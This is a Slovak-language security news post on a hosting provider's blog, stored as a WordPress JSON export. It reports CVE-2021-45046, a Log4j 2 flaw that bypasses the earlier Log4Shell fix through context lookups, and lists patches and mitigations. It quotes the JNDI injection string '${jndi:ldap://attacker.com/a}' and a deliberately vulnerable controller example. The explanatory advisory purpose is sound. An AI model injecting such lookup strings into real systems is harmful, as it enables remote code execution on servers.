{"id":102619,"date":"2021-12-15T09:36:53","date_gmt":"2021-12-15T07:36:55","guid":{"rendered":"https:\/\/prohoster.info\/blog\/novosti-interneta\/novyj-variant-ataki-na-log4j-2-pozvolyayushhij-obojti-dobavlennuyu-zashhitu"},"modified":"2021-12-15T09:36:53","modified_gmt":"2021-12-15T07:36:55","slug":"novyj-variant-ataki-na-log4j-2-pozvolyayushhij-obojti-dobavlennuyu-zashhitu","status":"publish","type":"post","link":"https:\/\/prohoster.info\/sk\/blog\/news\/novyj-variant-ataki-na-log4j-2-pozvolyayushhij-obojti-dobavlennuyu-zashhitu","title":{"rendered":"Nov\u00e1 varianta \u00fatoku na Log4j 2, ktor\u00e1 umo\u017e\u0148uje ob\u00eds\u0165 pridan\u00fa ochranu.","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"

V implement\u00e1cii substit\u00faci\u00ed JNDI v kni\u017enici Log4j 2 sa objavila \u010fal\u0161ia zranite\u013enos\u0165 (CVE-2021-45046), ktor\u00e1 sa prejavila aj napriek oprave v verzii 2.15 a nez\u00e1visle od nastavenia «log4j2.noFormatMsgLookup» na ochranu. Probl\u00e9m je najm\u00e4 nebezpe\u010dn\u00fd pre star\u0161ie verzie Log4j 2, ktor\u00e9 s\u00fa chr\u00e1nen\u00e9 pomocou t\u00fdchto flagov, preto\u017ee umo\u017e\u0148uje ob\u00eds\u0165 ochranu pred predch\u00e1dzaj\u00facou zranite\u013enos\u0165ou (Log4Shell, CVE-2021-44228), ktor\u00e1 umo\u017e\u0148uje vykonanie vlastn\u00e9ho k\u00f3du na serveri. Pre pou\u017e\u00edvate\u013eov verzie 2.15 je zneu\u017eitie obmedzen\u00e9 na vytvorenie podmienok pre neo\u010dak\u00e1van\u00e9 ukon\u010denie aplik\u00e1cie z d\u00f4vodu vy\u010derpania dostupn\u00fdch zdrojov. <\/p>\n

Zranite\u013enos\u0165 sa prejavuje iba na syst\u00e9moch, ktor\u00e9 pri journaliz\u00e1cii pou\u017e\u00edvaj\u00fa kontextov\u00e9 vyh\u013ead\u00e1vania (Context Lookup), ako napr\u00edklad ${ctx:loginId}, alebo MDC \u0161abl\u00f3ny (Thread Context Map), napr\u00edklad %X, %mdc a %MDC. Zneu\u017eitie spo\u010d\u00edva vo vytvoren\u00ed podmienok na v\u00fdstup do logu \u00fadajov obsahuj\u00facich JNDI substit\u00facie pri pou\u017eit\u00ed kontextov\u00fdch vyh\u013ead\u00e1van\u00ed alebo MDC \u0161abl\u00f3n, ktor\u00e9 ur\u010duj\u00fa pravidl\u00e1 form\u00e1tovania v\u00fdstupu do logu. <\/p>\n

V\u00fdskumn\u00edci z firmy LunaSec poznamenali, \u017ee pre verzie Log4j ni\u017e\u0161ie ako 2.15 m\u00f4\u017ee by\u0165 t\u00e1to zranite\u013enos\u0165 vyu\u017eit\u00e1 ako nov\u00fd vektor \u00fatoku Log4Shell, ktor\u00fd vedie k vykonaniu k\u00f3du, ak sa pri v\u00fdstupe do logu pou\u017e\u00edva v\u00fdraz ThreadContext, do ktor\u00e9ho sa dostan\u00fa extern\u00e9 \u00fadaje, nez\u00e1visle od zapnutia ochrann\u00e9ho flagu «noMsgFormatLookups» alebo \u0161abl\u00f3ny «%m{nolookups}».

\"Nov\u00e1<\/center> <\/p>\n

Ob\u00eddenie ochrany spo\u010d\u00edva v tom, \u017ee namiesto priamej substit\u00facie «${jndi:ldap:\/\/attacker.com\/a}» sa tento v\u00fdraz nahrad\u00ed cez hodnotu medzi\u013eahovej premennej, ktor\u00e1 sa pou\u017e\u00edva v pravidl\u00e1ch form\u00e1tovania v\u00fdstupu do logu. Napr\u00edklad, ak pri v\u00fdstupe do logu pou\u017e\u00edva kontextov\u00fd dotaz ${ctx:apiversion}, m\u00f4\u017ee by\u0165 \u00fatok vykonan\u00fd cez substit\u00faciu \u00fadajov «${jndi:ldap:\/\/attacker.com\/a}» do hodnoty, ktor\u00e1 sa zapisuje do premennej apiversion. Pr\u00edklad zranite\u013en\u00e9ho k\u00f3du: appender.console.layout.pattern = ${ctx:apiversion} — %d{yyyy-MM-dd HH:mm:ss} %-5p %c{1}:%L — %m%n @GetMapping(«\/») public String index(@RequestHeader(«X-Api-Version») String apiVersion) { \\\/\\\/\/ Hodnota HTTP-headeru «X-Api-Version» sa odovzd\u00e1va do ThreadContext ThreadContext.put(«apiversion», apiVersion); \\\/\\\/\/ Pri v\u00fdstupe do logu bude extern\u00e1 hodnota apiversion spracovan\u00e1 prostredn\u00edctvom substit\u00facie ${ctx:apiversion} logger.info(«Prijat\u00e1 \u017eiados\u0165 na verziu API»); return «Ahoj, svet!»; } <\/p>\n

Vo verzii Log4j 2.15 m\u00f4\u017ee by\u0165 zranite\u013enos\u0165 vyu\u017eit\u00e1 na vykonanie DoS \u00fatokov pri prenose hodn\u00f4t do ThreadContext, ktor\u00e9 sp\u00f4sobuj\u00fa nekone\u010dn\u00e9 slu\u010dky spracovania form\u00e1tovac\u00edch \u0161abl\u00f3n v\u00fdstupu.

\"Nov\u00e1<\/center> <\/p>\n

Na zablokovanie zranite\u013enosti boli vydan\u00e9 aktualiz\u00e1cie 2.16 a 2.12.2. Vo vetve Log4j 2.16, okrem opr\u00e1v implementovan\u00fdch v verzii 2.15 a pripojenia JNDI LDAP po\u017eiadaviek k «localhost», je predvolene \u00faplne vypnut\u00e1 funk\u010dnos\u0165 JNDI a odstr\u00e1nen\u00e1 podpora pre \u0161abl\u00f3ny substit\u00facie spr\u00e1v. Ako obch\u00e1dzaj\u00face rie\u0161enie ochrany sa navrhuje odstr\u00e1ni\u0165 triedu JndiLookup z classpath (napr\u00edklad «zip -q -d log4j-core-*.jar org\/apache\/logging\/log4j\/core\/lookup\/JndiLookup.class»). <\/p>\n

Sledova\u0165 objavenie sa opr\u00e1v v bal\u00edkoch je mo\u017en\u00e9 na str\u00e1nkach distrib\u00faci\u00ed (Debian, Ubuntu, RHEL, SUSE, Fedora, Arch) a v\u00fdrobcov Java platforiem (GitHub, Docker, Oracle, vmWare, Broadcom a Amazon\/AWS, Juniper, VMware, Cisco, IBM, Red Hat, MongoDB, Okta, SolarWinds, Symantec, McAfee, SonicWall, FortiGuard, Ubiquiti, F-Secure a pod.).
\n
Zdroj: opennet.ru<\/a> <\/p>","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"excerpt":{"rendered":"

\u0412 \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u043f\u043e\u0434\u0441\u0442\u0430\u043d\u043e\u0432\u043e\u043a JNDI \u0432 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0435 Log4j 2 \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0430 \u0435\u0449\u0451 \u043e\u0434\u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c (CVE-2021-45046), \u043f\u0440\u043e\u044f\u0432\u043b\u044f\u044e\u0449\u0430\u044f\u0441\u044f \u043d\u0435\u0441\u043c\u043e\u0442\u0440\u044f \u043d\u0430 \u0434\u043e\u0431\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0435 \u0432 \u0432\u044b\u043f\u0443\u0441\u043a 2.15 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0438 \u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e \u043e\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0438 «log4j2.noFormatMsgLookup» \u0434\u043b\u044f \u0437\u0430\u0449\u0438\u0442\u044b. \u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c \u0432 \u043e\u0441\u043d\u043e\u0432\u043d\u043e\u043c \u0434\u043b\u044f \u0441\u0442\u0430\u0440\u044b\u0445 \u0432\u0435\u0440\u0441\u0438\u0439 Log4j 2, \u0437\u0430\u0449\u0438\u0449\u0451\u043d\u043d\u044b\u0445 \u043f\u0440\u0438 \u043f\u043e\u043c\u043e\u0449\u0438 \u0444\u043b\u0430\u0433\u0430 «noFormatMsgLookup», \u0442\u0430\u043a \u043a\u0430\u043a \u0434\u0430\u0451\u0442 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u043e\u0431\u043e\u0439\u0442\u0438 \u0437\u0430\u0449\u0438\u0442\u0443 \u043e\u0442 \u043f\u0440\u043e\u0448\u043b\u043e\u0439 \u0443\u0437\u044f\u0432\u0438\u043c\u043e\u0441\u0442\u0438 (Log4Shell, CVE-2021-44228), […]<\/p>\n","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"author":1,"featured_media":102620,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[702],"tags":[],"class_list":["post-102619","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-news"],"aioseo_notices":[],"aioseo_head":"\n\t\t\n\t\n\t\n\t\n\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\n","aioseo_head_json":{"title":"\ud83e\udd47Nov\u00e1 varianta \u00fatoku na Log4j 2, ktor\u00e1 umo\u017e\u0148uje ob\u00eds\u0165 pridan\u00fa ochranu | ProHoster","description":"V implement\u00e1cii substit\u00faci\u00ed JNDI v kni\u017enici Log4j 2 bola odhalen\u00e1 \u010fal\u0161ia zranite\u013enos\u0165 (CVE-2021-45046), ktor\u00e1 sa prejavuje napriek oprav\u00e1m pridan\u00fdm do vydania 2.15 a nez\u00e1visle od pou\u017eitia nastaven\u00ed.","canonical_url":"https:\/\/prohoster.info\/sk\/blog\/news\/novyj-variant-ataki-na-log4j-2-pozvolyayushhij-obojti-dobavlennuyu-zashhitu","robots":"max-image-preview:large","keywords":"","webmasterTools":{"miscellaneous":""},"schema":null,"og:locale":"sk_SK","og:site_name":"ProHoster | \u041a\u0443\u043f\u0438\u0442\u044c \u043d\u0430\u0434\u0435\u0436\u043d\u044b\u0439 \u0445\u043e\u0441\u0442\u0438\u043d\u0433 \u0434\u043b\u044f \u0441\u0430\u0439\u0442\u043e\u0432 \u0441 \u0437\u0430\u0449\u0438\u0442\u043e\u0439 \u043e\u0442 DDoS, VPS VDS \u0441\u0435\u0440\u0432\u0435\u0440\u044b","og:type":"article","og:title":"\ud83e\udd47\u041d\u043e\u0432\u044b\u0439 \u0432\u0430\u0440\u0438\u0430\u043d\u0442 \u0430\u0442\u0430\u043a\u0438 \u043d\u0430 Log4j 2, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0438\u0439 \u043e\u0431\u043e\u0439\u0442\u0438 \u0434\u043e\u0431\u0430\u0432\u043b\u0435\u043d\u043d\u0443\u044e \u0437\u0430\u0449\u0438\u0442\u0443 | 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